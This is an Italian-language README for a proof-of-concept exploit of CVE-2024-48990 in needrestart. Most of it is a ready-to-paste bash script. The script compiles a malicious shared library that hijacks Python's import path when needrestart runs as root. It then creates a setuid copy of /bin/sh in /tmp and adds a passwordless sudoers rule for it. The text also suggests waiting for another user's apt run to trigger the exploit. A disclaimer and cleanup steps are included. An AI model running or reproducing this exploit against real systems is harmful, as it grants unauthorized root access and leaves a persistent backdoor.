
Test POC per casi d'uso
Questo repository contiene una Prova di concetto (PoC) per dimostrare una vulnerabilità nel programma needrestart, che non imposta correttamente il percorso di Python, portando a una potenziale escalation dei privilegi. La PoC evidenzia un possibile percorso per ottenere privilegi elevati sfruttando questa falla.
La vulnerabilità CVE-2024-48990 risiede nel pacchetto needrestart. Nello specifico, non imposta correttamente il percorso di Python, il che può essere sfruttato per escalare i privilegi quando viene innescata da determinate azioni.
Questa PoC simula uno scenario in cui una libreria condivisa dannosa viene caricata tramite Python per manipolare le impostazioni di sistema e ottenere privilegi elevati. Usala solo in un ambiente controllato e sicuro per scopi di test.
Per verificare se sei vulnerabile, esegui:
needrestart --version | grep -q "3.7" && echo "Definitely vulnerable" || echo "Version is potentially not vulnerable, this simply checks for 3.7"
Se vuoi una versione vulnerabile per testare, esegui semplicemente:
sudo apt install needrestart=3.7-3
Per innescare la vulnerabilità, esegui quanto segue mentre hai lo script in ascolto in esecuzione:
sudo apt remove ntp; sudo apt install ntp
Questo comando installa un pacchetto (ntp in questo caso) che fa sì che il problema con needrestart venga innescato; idealmente, però, aspetteresti che un altro utente sul sistema esegua un aggiornamento o qualcosa che inneschi needrestart, come sudo apt update.
Esegui il seguente script per configurare la PoC e innescare la vulnerabilità; puoi copiarlo e incollarlo direttamente così com'è nel tuo terminale e attendere, oppure innescarlo manualmente come mostrato sopra con ntp. Aggiunge inoltre il binario al percorso di sudo per tutti gli utenti a scopo dimostrativo – in realtà puoi semplicemente fargli aggiungere tutti i percorsi per sudo per il tuo utente, ma volevo mostrare entrambe le cose:
#!/bin/bash
set -e
cd /tmp
mkdir -p malicious/importlib
# Create and compile the malicious library
cat << 'EOF' > /tmp/malicious/lib.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
static void a() __attribute__((constructor));
void a() {
if(geteuid() == 0) { // Only execute if we're running with root privileges
setuid(0);
setgid(0);
const char *shell = "cp /bin/sh /tmp/poc; "
"chmod u+s /tmp/poc; "
"grep -qxF 'ALL ALL=NOPASSWD: /tmp/poc' /etc/sudoers || "
"echo 'ALL ALL=NOPASSWD: /tmp/poc' | tee -a /etc/sudoers > /dev/null &";
system(shell);
}
}
EOF
gcc -shared -fPIC -o "/tmp/malicious/importlib/__init__.so" /tmp/malicious/lib.c
# Minimal Python script to trigger import
cat << 'EOF' > /tmp/malicious/e.py
import time
while True:
try:
import importlib
except:
pass
if __import__("os").path.exists("/tmp/poc"):
print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
__import__("os").system("sudo /tmp/poc -p")
break
time.sleep(1)
EOF
cd /tmp/malicious; clear;echo -e "\n\nWaiting for norestart execution...\nEnsure you remove yourself from sudoers on the poc file after\nsudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers\nAs well as remove excess files created:\nrm -rf malicious/ poc"; PYTHONPATH="$PWD" python3 e.py 2>/dev/null
Se desideri pulire i file di test e rimuovere te stesso da sudoers, puoi eseguire quanto segue da un prompt con privilegi elevati:
sudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers
rm -rf malicious/ poc; ls
needrestart installato (oppure rimosso e reinstallato per innescare)Questa PoC è solo a scopo di test e non dovrebbe essere utilizzata in un ambiente di produzione. Sfruttare questa vulnerabilità in ambienti non autorizzati potrebbe essere illegale. Ottieni sempre un'autorizzazione esplicita prima di condurre qualsiasi test di sicurezza.
Buon testing! 🧪🚀